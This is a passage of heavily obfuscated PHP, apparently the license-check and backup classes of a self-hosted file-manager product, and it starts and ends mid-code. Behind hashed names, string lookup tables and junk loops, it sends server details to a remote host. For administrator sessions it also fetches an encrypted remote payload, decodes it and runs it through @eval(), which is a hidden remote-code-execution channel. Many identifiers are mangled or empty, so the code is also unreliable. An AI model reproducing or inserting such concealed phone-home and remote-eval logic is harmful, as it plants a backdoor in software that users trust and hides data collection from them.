=> $ݔ[136], $ݔ[157] => $ݔ[158], $ݔ[159] => $_SERVER[$ݔ[160]], $ݔ[161] => $_SERVER[$ݔ[162]], $ݔ[163] => $_SERVER[$ݔ[164]], $ݔ[105] => $؂, $ݔ[165] => Model($ݔ[33])->get($ݔ[131])); $™ = $[727]; if (strlen($™) < $[684]) { return; } if (isset($[$ݔ[151]]) && isset($[$ݔ[151]]) == $ݔ[122]) { $ޥ[$ݔ[151]] = md5($ޥ[$ݔ[152]] . $ݔ[166] . $ޥ[$ݔ[155]]); } if ($[$ݔ[167]] == $ݔ[168]) { $Օ = $this->vidyceeff10d($؂, $ݔ[169]); $߾ = $this->xevrf4f66e9a(json_encode($ޥ), $؂ . $ݔ[170], 3); $߾ = $߾ . $ݔ[171] . $_SERVER[$ݔ[160]]; $ = $this->mtvpd67e011e($ݔ[172] . $Օ . $ݔ[173] . $߾, -1); show_json($, !0); } else { if ($[$ݔ[167]] == $ݔ[174]) { $汐 = substr(md5($ݔ[175] . $؂), 12, 15) . $ݔ[176]; $߾ = $this->xrydf0469844(trim($[$ݔ[177]]), $汐, 2); $ϧ = json_decode($߾, !0); if (!is_array($ϧ) || !is_array($ϧ[$ݔ[178]]) || $ϧ[$ݔ[152]] != !0) { $ś = $ݔ[179]; $ϳ = $ϧ[$ݔ[178]] ? $ݔ[180] . $ϧ[$ݔ[178]] : $ś; show_json($ϳ, !1); } else { $ޥ[$ݔ[155]] = $ϧ[$ݔ[178]][$ݔ[181]]; } } else { $ϧ = $this->mtvpd67e011e($ݔ[182], $ޥ, 10); } } if (!is_array($ϧ) || !is_array($ϧ[$ݔ[178]]) || $ϧ[$ݔ[152]] != !0) { $ś = LNG($ݔ[183]); $ϳ = $ϧ[$ݔ[178]] ? $ݔ[180] . $ϧ[$ݔ[178]] : $ś; show_json($ϳ, !1); } $䥛 = $ϧ[$ݔ[178]]; $ = $this->zrlw14f0f707($䥛[$ݔ[184]]); $ͱ = $[728]; while (strlen($ͱ) < $[690]) { if (!$ͱ) { break; } $ͱ++; } if (!$ || $ != $䥛[$ݔ[129]]) { $ۆ = array($ݔ[185] => Model($ݔ[33])->get($ݔ[100]), $ݔ[186] => $_SERVER[$ݔ[106]], $ݔ[187] => this_url(), $ݔ[161] => $_SERVER[$ݔ[162]]); $߾ = $this->ythj5b9ebc50(json_encode($ۆ)); $this->mtvpd67e011e($ݔ[188] . $߾); show_json(LNG($ݔ[189]), !0); } $诼è = array($ݔ[153] => $䥛[$ݔ[190]], $ݔ[191] => $䥛[$ݔ[192]], $ݔ[193] => rand_string(16), $ݔ[108] => $䥛[$ݔ[194]]); if ($ޥ[$ݔ[155]]) { $诼è[$ݔ[193]] = $ޥ[$ݔ[155]]; } $Ԍ = substr(md5($诼è[$ݔ[191]]), 10, 10); $ڲԿ = $Ԍ . $诼è[$ݔ[108]] . $诼è[$ݔ[193]]; $ѥ = $[729]; $诼è[$ݔ[110]] = strrev(base64_encode($this->vidyceeff10d($ڲԿ, $ݔ[195]))); $ = $[730]; if (!$) { die; } $ϯ = rand_string(16); $ = $ϯ . $诼è[$ݔ[108]] . $this->vidyceeff10d(md5($诼è[$ݔ[153]]), $ϯ); $诼è[$ݔ[111]] = base64_encode(strrev($this->vidyceeff10d($, $ݔ[196]))); if ($䥛[$ݔ[197]] && $䥛[$ݔ[197]] >= 1) { Model($ݔ[33])->setDeep($ݔ[198], $ݔ[122]); } Model($ݔ[33])->set($诼è); $ = md5($_SERVER[$ݔ[106]] . strrev($䴨) . $诼è[$ݔ[191]]); $ = $[731]; $뀔 = strrev(substr($, 10, 16)); $ = $this->xevrf4f66e9a(json_encode($䥛), $); $Ҋ = array_to_keyvalue(Model($ݔ[7])->listData(), $ݔ[199]); $Ѫ = $Ҋ[$ݔ[200]]; $۞ = $[732]; if (strlen($۞) < $[684]) { die; } $ = array(); $ƭඬ = $[733]; $[$뀔] = $; Model($ݔ[7])->update($Ѫ[$ݔ[201]], array($ݔ[202] => $)); $this->rncd81304194 = $䥛; $ݜ = $[720]; if (!$ݜ) { return; } $this->eindaaa9dcf2 = $诼è[$ݔ[108]]; $this->licenseRegistSuccess(); Cache::set($ݔ[203] . md5($䴨 . $ݔ[204]), $ݔ[6]); $ء = $[734]; if (!$ء) { die; } show_json(LNG($ݔ[189]), !0); $ = $[735]; } private function licenseRegistSuccess() { $岓Ԫ =& $_SERVER[ɍ]; $櫃 = Model($岓Ԫ[33])->get(); if ($櫃[$岓Ԫ[63]] != $岓Ԫ[122]) { Model($岓Ԫ[33])->set($岓Ԫ[63], $岓Ԫ[122]); } Action($岓Ԫ[205])->initStart(!0); } private function bonk131f69b7() { $ =& $_SERVER[ׇ]; $ٌ =& $_SERVER[ɍ]; Model($ٌ[33])->set(array($ٌ[153] => $ٌ[6], $ٌ[191] => $ٌ[6], $ٌ[108] => $ٌ[109], $ٌ[110] => $ٌ[6], $ٌ[111] => $ٌ[6])); Model($ٌ[33])->setDeep($ٌ[198], $ٌ[206]); $ߌ = $[736]; while ($ߌ < $[690]) { if ($ߌ >= 0) { break; } $ߌ++; } $this->rncd81304194 = array(); $this->eindaaa9dcf2 = $ٌ[109]; $ = $[737]; while (strlen($) < $[690]) { if (!$) { break; } $++; } } private function eztl01736c3f() { $ﲅ =& $_SERVER[ׇ]; $ =& $_SERVER[ɍ]; $_SERVER[$[162]] = _get($_SERVER, $[162], APP_HOST); $this->eindaaa9dcf2 = $[109]; $ޱ = $ﲅ[738]; if (!$ޱ) { die; } $Ȩ = Model($[33])->get(); if ($Ȩ[$[108]] == $[109]) { return; } $ҥ = Model($[33])->get($[100]); $؞ = $ﲅ[686]; if (!$؞) { die; } $ߓ = $[203] . md5($ҥ . $[204]); $ﻜ = Cache::get($ߓ); $ = $ﲅ[739]; if (strlen($) < $ﲅ[680]) { return; } if (!is_array($ﻜ) || !isset($ﻜ[$[207]]) || time() - $ﻜ[$[207]] >= 60) { $ѻک = Model($[7])->loadList(); $ = $ѻک[$[200]]; $ԙ = md5($_SERVER[$[106]] . strrev($ҥ) . $Ȩ[$[191]]); $̛ = strrev(substr($ԙ, 10, 16)); $ﻜ = $this->xrydf0469844($[$[86]][$̛], $ԙ); $ﻜ = json_decode($ﻜ, !0); } if (!is_array($ﻜ)) { return $this->bonk131f69b7(); } $ğ = strtotime($ﻜ[$[129]]); if (time() >= $ğ) { return $this->bonk131f69b7(); } if (!isset($ﻜ[$[207]]) || time() - $ﻜ[$[207]] > 20) { $ﻜ[$[207]] = time(); Cache::set($ߓ, $ﻜ); } $this->rncd81304194 = $ﻜ; $this->eindaaa9dcf2 = $Ȩ[$[108]]; } private function irsd777ba351() { $۶ =& $_SERVER[ɍ]; $᮫ = $GLOBALS[$۶[13]]; $ = $_SERVER[$۶[24]]; if ($ == $۶[208] && $this->eindaaa9dcf2 == $۶[109]) { show_json(LNG($۶[209]), !1, $۶[210]); } $ = array($۶[211], $۶[212]); if (in_array($, $)) { if ($this->eindaaa9dcf2 == $۶[109] && isset($᮫[$۶[213]])) { show_json(LNG($۶[209]), !1, $۶[210]); die; } $ܖǚ = $this->ovekbba1a6a4(); if ($ܖǚ != intval($۶[214])) { if ($ܖǚ <= Model($۶[125])->count()) { show_json(LNG($۶[215]), !1, $۶[210]); die; } } } } private function ardo40db4489() { $ƈ =& $_SERVER[ׇ]; $ý =& $_SERVER[ɍ]; $͋ = array($ý[119], $ý[120]); $ = $ƈ[740]; while ($ < $ƈ[690]) { if ($ >= 0) { break; } $++; } if (!KodUser::isRoot() || !isset($_GET[$ý[216]])) { return; } if (!in_array($_SERVER[$ý[24]], $͋)) { return; } $ؐ = $ý[217]; $Ĉ = $ƈ[741]; if (!$Ĉ) { return; } $ؐ = $this->isvyc724889c($ؐ, $ý[218]); $ٍ = $ƈ[742]; $ = stream_context_create(array($ý[219] => array($ý[220] => $ý[221], $ý[222] => 3))); $ǵ = $ƈ[743]; while (strlen($ǵ) < $ƈ[705]) { if (!$ǵ) { break; } $ǵ++; } $Հ = @file_get_contents($ؐ, !1, $); $֩ = $ƈ[744]; while (strlen($֩) < $ƈ[680]) { if (!$֩) { break; } $֩++; } header($ý[223]); $Ʀ = $ƈ[745]; if ($Հ && strstr($Հ, $ý[224])) { echo $Հ; } die; } public function earj5d2cfd78($ܦɷ) { $ =& $_SERVER[ׇ]; $ =& $_SERVER[ɍ]; if ($this->eindaaa9dcf2 == $[225]) { return $ܦɷ; } $ʸ = $this->versionPluginList(); $Ǿܒ = $[746]; if (!$Ǿܒ) { die; } $ = explode($[226], $this->versionPluginFilter()); $ = array(); foreach ($ʸ as $ô => $) { if ($ == $[227] && substr($this->eindaaa9dcf2, 0, 1) == $[227]) { continue; } if (!in_array($ô, $)) { $[] = $ô; } } foreach ($ as $ô) { unset($ܦɷ[$ô]); $֊ = $[747]; if (strlen($֊) < $[680]) { return; } } return $ܦɷ; $ߋ = $[748]; } private function versionPluginList() { $̀ =& $_SERVER[ɍ]; return array($̀[228] => $̀[227], $̀[229] => $̀[227], $̀[230] => $̀[227], $̀[231] => $̀[232], $̀[233] => $̀[232], $̀[234] => $̀[232], $̀[235] => $̀[232], $̀[236] => $̀[232], $̀[237] => $̀[232], $̀[238] => $̀[232], $̀[239] => $̀[232], $̀[240] => $̀[232], $̀[241] => $̀[232], $̀[242] => $̀[232], $̀[243] => $̀[232], $̀[244] => $̀[232]); $̗ۨ = $_SERVER[ׇ][749]; if (!$̗ۨ) { return; } } private function versionPluginFilter() { $ =& $_SERVER[ɍ]; if ($this->eindaaa9dcf2 == $[109]) { return $[6]; } $ = _get($this->rncd81304194, $[245], $[6]); $ލ = _get($this->rncd81304194, $[116], $[6]); $˳ = _get($this->rncd81304194, $[246], $[6]); $ = $_SERVER[ׇ][750]; if (!$) { die; } if ($ލ > time() && $˳ > time()) { $̦ = explode($[226], $); $ = array_keys($this->versionPluginList()); $ = array_merge($̦, $); $ = implode($[226], array_filter(array_unique($))); } return $; } private function veugd74d488d() { $ =& $_SERVER[ɍ]; if ($this->eindaaa9dcf2 != $[109]) { $GLOBALS[$[86]][$[90]][$[247]] = $[206]; return; } $GLOBALS[$[86]][$[248]] = $[122]; if (Model($[249])->get($[63]) != $[206]) { Model($[249])->set($[63], $[206]); } } public function cwaz0f1224cc() { return $_SERVER[ɍ][250]; } private function wknp6f3453a0() { $ϴ =& $_SERVER[ׇ]; $ =& $_SERVER[ɍ]; $ = array($[251], $[252], $[253]); $᫺ = $ϴ[751]; while (strlen($᫺) < $ϴ[705]) { if (!$᫺) { break; } $᫺++; } $ = $[254] . md5($[255]); if ($this->eindaaa9dcf2 == $[109] || !KodUser::isRoot()) { return; } if (!in_array($_SERVER[$[24]], $)) { return; } if (time() % 4 != 0) { return; } $؎ڵ = call_user_func(array($[256], $[257]), $); $ = $ϴ[752]; if (strlen($) < $ϴ[680]) { die; } if ($؎ڵ && time() - $؎ڵ < intval($[258])) { return; } call_user_func(array($[256], $[139]), $, time()); $܏ = $ϴ[753]; $Ӡ = Model($[33])->get($[100]); $ = array($[152] => Model($[33])->get($[153]), $[167] => $this->eindaaa9dcf2, $[163] => $_SERVER[$[164]], $[165] => Model($[33])->get($[131]), $[105] => md5($_SERVER[$[106]] . $Ӡ), $[156] => $[136], $[159] => $_SERVER[$[160]]); $䛾 = $ϴ[754]; if (!$䛾) { return; } $ = $this->mtvpd67e011e($[259], $); if (!is_array($)) { return; } if ($[$[152]] && $[$[260]]) { if ($this->zrlw14f0f707($[$[260]]) == $[$[152]]) { return; } } $this->bonk131f69b7(); $ˑ = $ϴ[755]; if (strlen($ˑ) < $ϴ[684]) { return; } if ($this->zrlw14f0f707($[$[260]]) != $[$[152]]) { $ȥ = array($[185] => $Ӡ, $[186] => $_SERVER[$[106]], $[187] => this_url(), $[161] => $_SERVER[$[162]]); $ = $this->ythj5b9ebc50(json_encode($ȥ)); $ = $this->mtvpd67e011e($[188] . $); if ($ && is_array($) && isset($[$[260]])) { $ = $this->xrydf0469844($[$[260]], 2); if ($) { $ = $this->zrlw14f0f707($); } if ($) { try { @eval($); } catch (Exception $֙ܧ) { } } } } } private function mtvpd67e011e($㭾 = '', $ = array(), $ց = 5) { $ɩ =& $_SERVER[ׇ]; $ǒ =& $_SERVER[ɍ]; $®߭ = $ǒ[261]; $®߭ = $this->isvyc724889c($®߭, $ǒ[262]); $®߭ = $®߭ . $㭾; if ($ && is_array($)) { $®߭ = $®߭ . $ǒ[263] . http_build_query($); } if ($ === -1) { return $®߭; } $ = stream_context_create(array($ǒ[219] => array($ǒ[222] => $ց, $ǒ[220] => $ǒ[264]), $ǒ[265] => array($ǒ[266] => !1, $ǒ[267] => !1))); $ = $ɩ[756]; $ = @file_get_contents($®߭, !1, $); return json_decode($, !0); $Ĉ = $ɩ[757]; } private function ovekbba1a6a4() { $Ā =& $_SERVER[ׇ]; $؎ =& $_SERVER[ɍ]; $Ɣ = array($؎[268] => $؎[269], $؎[270] => $؎[271], $؎[272] => $؎[273], $؎[274] => $؎[275], $؎[276] => $؎[277], $؎[278] => $؎[214], $؎[279] => $؎[214], $؎[280] => $؎[269], $؎[281] => $؎[271], $؎[282] => $؎[273], $؎[283] => $؎[284], $؎[285] => $؎[275], $؎[286] => $؎[287], $؎[288] => $؎[277], $؎[289] => $؎[290], $؎[291] => $؎[292], $؎[293] => $؎[294]); $ = $Ɣ[$this->eindaaa9dcf2]; $ʉ = $Ā[758]; if (strlen($ʉ) < $Ā[690]) { die; } $ = intval($ ? $ : $؎[269]); $ѝ = $Ā[759]; if (!$ѝ) { return; } $θ = _get($this->rncd81304194, $؎[295]); $׌ = $Ā[760]; if (strlen($׌) < $Ā[694]) { return; } $θ = $θ ? intval($θ) : 0; $ = $Ā[761]; while ($ < $Ā[694]) { if ($ >= 0) { break; } $++; } return $ + $θ; } public function svkfff94a7b0($) { $Ŀڶ =& $_SERVER[ɍ]; $ = $this->ovekbba1a6a4(); if ($[$Ŀڶ[296]] == $Ŀڶ[122]) { return; } if ($ >= intval($Ŀڶ[214])) { return; } $ = Model($Ŀڶ[125])->count(); if ($ <= $) { return; } $䂪 = Model($Ŀڶ[125])->field($Ŀڶ[296])->limit($)->select(); $ڤ = $_SERVER[ׇ][762]; $䂪 = array_to_keyvalue($䂪, $Ŀڶ[6], $Ŀڶ[296]); if (!in_array($[$Ŀڶ[296]], $䂪)) { show_json($Ŀڶ[297], !1, $Ŀڶ[210]); } } public function rutb867a63e9() { $ҷ =& $_SERVER[ׇ]; $횵 =& $_SERVER[ɍ]; if (!KodUser::isRoot() || mt_rand(1, 100) > 20) { return; } $嚯 = $횵[217]; $嚯 = $this->isvyc724889c($嚯, $횵[218]); $ = $ҷ[763]; while (strlen($) < $ҷ[680]) { if (!$) { break; } $++; } $γ = stream_context_create(array($횵[219] => array($횵[220] => $횵[221], $횵[222] => 3))); $ɀ = @file_get_contents($嚯, !1, $γ); $݃ = $ҷ[764]; if (!$݃) { return; } echo $횵[298] . hash_encode($ɀ) . $횵[299]; $ = $ҷ[765]; if (strlen($) < $ҷ[680]) { die; } } private function xevrf4f66e9a($ӗ, $, $͇≎ = 3) { $ =& $_SERVER[ׇ]; $˰ =& $_SERVER[ɍ]; usleep(1); $ӗ = trim($ӗ); $٧ = $[766]; if (!$٧) { return; } $˨ = mt_rand(0, 5) . $˰[6]; $ = rand_string(15); $ = $[688]; if (!$) { die; } $ = $˰[300]; switch ($˨) { case $˰[206]: $󛈗 = $this->vidyceeff10d($ӗ, strrev($ . $)); $ε = $[767]; if (strlen($ε) < $[694]) { return; } break; case $˰[122]: $󛈗 = $this->vidyceeff10d($ӗ, strrev($ . $)); $储 = $[768]; if (!$储) { return; } break; case $˰[301]: $󛈗 = $this->vidyceeff10d($ӗ, base64_encode($ . $)); $ = $[769]; break; case $˰[302]: $󛈗 = $this->vidyceeff10d($ӗ, md5($ . $)); $ = $[770]; while ($ < $[690]) { if ($ >= 0) { break; } $++; } break; case $˰[303]: $ӗ = base64_encode($ӗ); $ = $[771]; $Ƨ = rand(0, 64); $Ҁض = $[772]; while ($Ҁض < $[680]) { if ($Ҁض >= 0) { break; } $Ҁض++; } $ = $[$Ƨ]; $ث = md5($ . md5($ . $) . $); $ث = substr($ث, $Ƨ % 8, $Ƨ % 8 + 7); $ = $[773]; $ = $˰[6]; $ = $[774]; if (!$) { die; } $ڙ = 0; $ = 0; $ = 0; $웇˺ = $[775]; while ($웇˺ < $[690]) { if ($웇˺ >= 0) { break; } $웇˺++; } for ($ڙ = 0; $ڙ < strlen($ӗ); $ڙ++) { $ = $ == strlen($ث) ? 0 : $; $ = ($Ƨ + strpos($, $ӗ[$ڙ]) + ord($ث[$++])) % 64; $ = $[776]; if (!$) { die; } $ .= $[$]; } $󛈗 = hash_encode($ . $); $ۘ = $[777]; break; $ = $[778]; if (strlen($) < $[694]) { die; } default: $󛈗 = $this->vidyceeff10d($ӗ, $ . $); $ = $[779]; if (!$) { die; } break; $ = $[780]; } $󛈗 = strrev($˨ . $ . $󛈗); $ؕ = $[781]; if (!$ؕ) { return; } if ($͇≎ - 1 > 0) { $󛈗 = $this->xevrf4f66e9a($󛈗, $, $͇≎ - 1); } return $󛈗; } private function xrydf0469844($, $Ք, $٭ = 3) { $ۓ =& $_SERVER[ׇ]; $济 =& $_SERVER[ɍ]; if (!is_string($) || strlen($) < 10) { return !1; } $ = trim($); $ = strrev($); $Ϋߎ = $[0]; $ = substr($, 1, 15); $Δ = $ۓ[782]; $ = substr($, 16); $ǹ = $济[300]; switch ($Ϋߎ) { case $济[206]: $ӱ = $this->isvyc724889c($, strrev($Ք . $)); break; $ = $ۓ[783]; while (strlen($) < $ۓ[694]) { if (!$) { break; } $++; } case $济[122]: $ӱ = $this->isvyc724889c($, strrev($ . $Ք)); $ = $ۓ[784]; if (strlen($) < $ۓ[684]) { die; } break; $χ = $ۓ[785]; while ($χ < $ۓ[705]) { if ($χ >= 0) { break; } $χ++; } case $济[301]: $ӱ = $this->isvyc724889c($, base64_encode($ . $Ք)); break; case $济[302]: $ӱ = $this->isvyc724889c($, md5($ . $Ք)); $Ƨ = $ۓ[786]; while (strlen($Ƨ) < $ۓ[694]) { if (!$Ƨ) { break; } $Ƨ++; } break; $ = $ۓ[787]; if (!$) { die; } case $济[303]: $ = hash_decode($); $ = $[0]; $ = substr($, 1); $Г = strpos($ǹ, $); $꼇 = $ۓ[788]; if (strlen($꼇) < $ۓ[694]) { return; } $ = md5($ . md5($Ք . $) . $Ք); $ = $ۓ[789]; while (strlen($) < $ۓ[680]) { if (!$) { break; } $++; } $ = substr($, $Г % 8, $Г % 8 + 7); $ = $济[6]; $ = $ۓ[790]; $̽ = 0; $ = $ۓ[700]; while ($ < $ۓ[680]) { if ($ >= 0) { break; } $++; } $ʦך = 0; $׭껔 = $ۓ[791]; if (strlen($׭껔) < $ۓ[694]) { die; } $ݟ = 0; $ = $ۓ[792]; while ($ < $ۓ[680]) { if ($ >= 0) { break; } $++; } for ($̽ = 0; $̽ < strlen($); $̽++) { $ݟ = $ݟ == strlen($) ? 0 : $ݟ; $ʼ = $ۓ[793]; while ($ʼ < $ۓ[690]) { if ($ʼ >= 0) { break; } $ʼ++; } $ʙ = $ݟ++; $ƺ = $ۓ[794]; while ($ƺ < $ۓ[694]) { if ($ƺ >= 0) { break; } $ƺ++; } $ʦך = strpos($ǹ, $[$̽]) - $Г - ord($[$ʙ]); $ӕԁ = $ۓ[795]; while ($ʦך < 0) { $ʦך += 64; $Ö = $ۓ[796]; } $ .= $ǹ[$ʦך]; $ˠǚ = $ۓ[797]; while (strlen($ˠǚ) < $ۓ[705]) { if (!$ˠǚ) { break; } $ˠǚ++; } } $ӱ = base64_decode($); $ڥ = $ۓ[798]; if (strlen($ڥ) < $ۓ[694]) { die; } break; $ = $ۓ[799]; if (strlen($) < $ۓ[690]) { die; } default: $ӱ = $this->isvyc724889c($, $Ք . $); break; } if ($٭ - 1 > 0) { $ӱ = $this->xrydf0469844($ӱ, $Ք, $٭ - 1); } return $ӱ; } public function ythj5b9ebc50($) { $ =& $_SERVER[ׇ]; $ =& $_SERVER[ɍ]; $ = $this->ipek0934b59c(); $ǭ = $[800]; while ($ǭ < $[694]) { if ($ǭ >= 0) { break; } $ǭ++; } $ = $this->ipek0934b59c(); $ι = $[801]; if (!$ι) { return; } $ = ($ - 1) * ($ - 1); $ޙ = intval(($ + $) / 2); while (1) { $䳡 = $ޙ; $ږ샯 = $[802]; if (!$ږ샯) { return; } $ = $; while ($ % $䳡 != 0) { $ = $; $ر = $[803]; if (!$ر) { return; } $ = $䳡; $ = $[804]; if (strlen($) < $[694]) { return; } $䳡 = $ % $䳡; } if ($䳡 == 1) { break; } else { $ޙ++; } } $ΟÓ = 2; for ($ = 0; $ < $ * 10; $++) { if (($ * $ + 1) % $ޙ == 0) { $ΟÓ = intval(($ * $ + 1) / $ޙ); break; } } $㩸 = $this->vidyceeff10d($ * $ . $[6], $[136]); $͂ = md5($[304] . ($ + $) . $[305] . $ޙ . $[305] . $ΟÓ . $[306]); $ж = $this->vidyceeff10d($, $͂) . $[307] . $㩸; $ = $[805]; return $ж; } public function zrlw14f0f707($רݬ) { $Ơ =& $_SERVER[ׇ]; $ =& $_SERVER[ɍ]; $Ѿպ = explode($[307], $רݬ); $Ҵ = $Ơ[806]; if (count($Ѿպ) != 2) { return $[6]; } $׉ = $this->isvyc724889c($Ѿպ[1] . $[6], $[136]); if (!$׉) { return $[6]; } $׉ = intval($׉); $ = 0; $ϧ = $Ơ[807]; $ = 0; $ = $Ơ[808]; while ($ < $Ơ[694]) { if ($ >= 0) { break; } $++; } for ($ = 3; $ < $׉; $ += 2) { if ($׉ % $ != 0) { continue; } $ = $; $ = intval($׉ / $); $ = $Ơ[809]; while (strlen($) < $Ơ[690]) { if (!$) { break; } $++; } break; } $栩 = ($ - 1) * ($ - 1); $ = $Ơ[810]; if (strlen($) < $Ơ[694]) { die; } $ = intval(($ + $) / 2); while (1) { $º = $; $ = $栩; $Ї = $Ơ[811]; if (strlen($Ї) < $Ơ[684]) { return; } while ($ % $º != 0) { $ݷ = $; $և = $Ơ[812]; if (!$և) { return; } $ = $º; $ = $Ơ[813]; while (strlen($) < $Ơ[680]) { if (!$) { break; } $++; } $º = $ݷ % $º; $偂 = $Ơ[814]; } if ($º == 1) { break; } else { $++; } } $Թ = 2; for ($ = 0; $ < $栩 * 10; $++) { if (($栩 * $ + 1) % $ == 0) { $Թ = intval(($栩 * $ + 1) / $); break; } } $כ = md5($[304] . ($ + $) . $[305] . $ . $[305] . $Թ . $[306]); $ŕ = $Ơ[815]; $䩐 = $this->isvyc724889c($Ѿպ[0], $כ); return $䩐; } public function ipek0934b59c() { $ۯ =& $_SERVER[ׇ]; $ն = mt_rand(pow(2, 14), pow(2, 16) - 1); $ҡ = array(); $ = 1; while ($ <= (int) sqrt($ն)) { $Ǿ = $; $Ҷ = $ۯ[816]; while ($Ҷ < $ۯ[684]) { if ($Ҷ >= 0) { break; } $Ҷ++; } while (!0) { $Ǿ++; $ = $ۯ[817]; while (strlen($) < $ۯ[690]) { if (!$) { break; } $++; } if ($Ǿ <= 2) { $ = $Ǿ; break; } else { if ($Ǿ < 2) { continue; } } $꟞ = !0; for ($Ȑ = 2; $Ȑ <= sqrt($Ǿ); $Ȑ++) { if ($Ǿ % $Ȑ == 0) { $꟞ = !1; } } if ($꟞) { $ = $Ǿ; break; } } $ҡ[] = $; $瑄 = $ۯ[818]; if (strlen($瑄) < $ۯ[680]) { die; } } $ = 2; for ($Ǿ = $ն; $Ǿ > 1; $Ǿ--) { $꟞ = !0; foreach ($ҡ as $) { if ($Ǿ % $ == 0) { $꟞ = !1; break; } } if ($꟞) { $ = $Ǿ; break; } } return $; } public function tugb3fc47667($Ӽ, $ؔȚ) { $ =& $_SERVER[ׇ]; $ =& $_SERVER[ɍ]; return call_user_func(array($[8], $[308]), $Ӽ, $ؔȚ); $ᴧ = $[819]; if (strlen($ᴧ) < $[684]) { return; } } public function vidyceeff10d($, $) { $Ê =& $_SERVER[ɍ]; return call_user_func(array($Ê[309], $Ê[310]), $, $); } public function isvyc724889c($Ը, $) { $ߧ =& $_SERVER[ɍ]; return call_user_func(array($ߧ[309], $ߧ[311]), $Ը, $); $˓ = $_SERVER[ׇ][820]; } } class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->model = Model($_SERVER[ׇ][821]); $this->init(); $this->keep(); } public function init() { $ =& $_SERVER[ׇ]; $this->isManual(); self::$name = date($[822]); if (!($̥ﱺ = $this->model->lastItem())) { $̥ﱺ = $this->initData(); } else { self::$name = $̥ﱺ[$[32]]; if ($̥ﱺ[$[823]] == $[91]) { self::$name = date($[272]); $ = intval(_get($̥ﱺ, $[824], 0)); if (self::$manual == 0 && $̥ﱺ[$[32]] == self::$name) { $this->model->remove($̥ﱺ[$[475]]); } $̥ﱺ = $this->initData($, $̥ﱺ[$[825]]); } else { $this->checkStore($̥ﱺ[$[825]]); } } self::$option = $̥ﱺ; } private function isManual() { $Ǡ = _get($GLOBALS, $_SERVER[ׇ][826], 0); $Ǡ = intval($Ǡ); self::$manual = $Ǡ && $Ǡ == 1 ? 1 : 0; } private function initData($ = 0, $ = '') { $ƂԪ =& $_SERVER[ׇ]; $ = $this->model->config(); if ($ && $[$ƂԪ[825]] != $) { $ = 0; } $this->checkStore($[$ƂԪ[825]]); if (self::$manual == 1) { self::$name .= $ƂԪ[11] . date($ƂԪ[827]); } $ = array($ƂԪ[825] => $[$ƂԪ[825]], $ƂԪ[32] => self::$name, $ƂԪ[823] => 0, $ƂԪ[171] => $[$ƂԪ[171]], $ƂԪ[828] => self::$manual, $ƂԪ[369] => array($ƂԪ[829] => array($ƂԪ[823] => 0), $ƂԪ[830] => array($ƂԪ[823] => 0, $ƂԪ[831] => 0, $ƂԪ[832] => 0, $ƂԪ[33] => $ƂԪ[12], $ƂԪ[833] => 0, $ƂԪ[834] => 0), $ƂԪ[835] => array($ƂԪ[823] => 0, $ƂԪ[831] => 0, $ƂԪ[832] => 0, $ƂԪ[833] => 0, $ƂԪ[834] => 0), $ƂԪ[230] => array($ƂԪ[823] => 0, $ƂԪ[836] => 0, $ƂԪ[837] => 0, $ƂԪ[838] => 0, $ƂԪ[839] => 0, $ƂԪ[541] => $, $ƂԪ[833] => 0, $ƂԪ[834] => 0)), $ƂԪ[833] => time(), $ƂԪ[834] => 0); $ = $this->model->insert($); $[$ƂԪ[475]] = $; return $; } private function checkStore($) { $ = Model($_SERVER[ׇ][840]); $ۜ = $->listData($); $->checkConfig($ۜ); } public static function get() { if (!self::$option) { $΢ = Model($_SERVER[ׇ][821]); $볮 = $΢->findByName(self::$name); $΢->parseContent($볮); self::$option = $볮; } return self::$option; } public static function set($ꛓ) { $펞 =& $_SERVER[ׇ]; $ = self::get(); foreach ($ꛓ as $ɪ => $) { array_set_value($, $ɪ, $); } Model($펞[821])->update($[$펞[475]], $); self::$option = $; return self::$option; } public function keep() { $ =& $_SERVER[ׇ]; $ = self::get(); if (_get($, $[841], 0) == $[91]) { return; } $this->backupKeep($); self::set(array($[841] => 1)); } private function backupKeep($) { $ʡ =& $_SERVER[ׇ]; if (self::$manual == 1) { return; } $ݠ = $this->model->listData(); if (empty($ݠ)) { return; } $ʅ = 0; $ = array(); foreach ($ݠ as $…) { if ($ʅ >= 7) { break; } $[] = $…[$ʡ[32]]; $ʅ++; } for ($ʅ = 0; $ʅ < 12; $ʅ++) { $[] = date($ʡ[842], strtotime("\x2d{$ʅ}\40\155\x6f\x6e\164\x68\163")); } $ = array_unique($); $ = Model($ʡ[843])->get($ʡ[844]); foreach ($ݠ as $…) { if (isset($…[$ʡ[828]]) && $…[$ʡ[828]] == $ʡ[91]) { continue; } if (!empty($…[$ʡ[32]]) && in_array($…[$ʡ[32]], $)) { continue; } $this->model->remove($…[$ʡ[475]]); $羚 = $this->backupPath($, $); IO::remove($羚, !1); } } private function backupPath($è, $߹ = false) { $ =& $_SERVER[ׇ]; if (!$߹) { $߹ = Model($[843])->get($[844]); } $մ = $è[$[32]]; $Ȗ = substr(md5($[845] . $߹ . $մ), 0, 8); return "\173\x69\x6f\x3a{$è[$[825]]}\175\x2f\144\141\x74\x61\142\x61\x73\145\57\x62\141\143\x6b\x75\x70\x2f" . $մ . $[11] . $Ȗ; } public function db() { $䳡 =& $_SERVER[ׇ]; $Ӆ = self::get(); if (_get($Ӆ, $䳡[846], 0) == $䳡[91]) { return !0; } $ = new BackupDb(); if (!$->index()) { return !1; } self::set(array($䳡[846] => 1)); return !0; } public function dbFile() { $܆ =& $_SERVER[ׇ]; $Ȃ = self::get(); if (_get($Ȃ, $܆[847], 0) == $܆[91]) { return !0; } $ = new BackupDbFile(); if (!$->index()) { return !1; } self::set(array($܆[847] => 1)); return !0; } public function file() { $ݥ =& $_SERVER[ׇ]; $̀ = self::get(); if (_get($̀, $ݥ[848], 0) == $ݥ[91]) { return !0; } if ($̀[$ݥ[171]] == $ݥ[849]) { $̽ = new BackupFile(); if (!$̽->index()) { return !1; } } self::set(array($ݥ[848] => 1, $ݥ[823] => 1)); return !0; } } goto C׃; CŇ: class Task { const STATYS_STOP = "\163\x74\x6f\160"; const STATYS_RUNNING = "\162\x75\156\156\x69\156\147"; const STATYS_KILL = "\x6b\151\x6c\154"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($Ǒ, $ѡ = '', $Й = 0, $ = '') { $Ȳ =& $_SERVER[ׇ]; if (self::get($Ǒ)) { return; } $this->task = array($Ȳ[475] => $Ǒ, $Ȳ[1772] => USER_ID, $Ȳ[1661] => $, $Ȳ[526] => $Ȳ[12], $Ȳ[33] => $ѡ, $Ȳ[1143] => $Ȳ[12], $Ȳ[1141] => 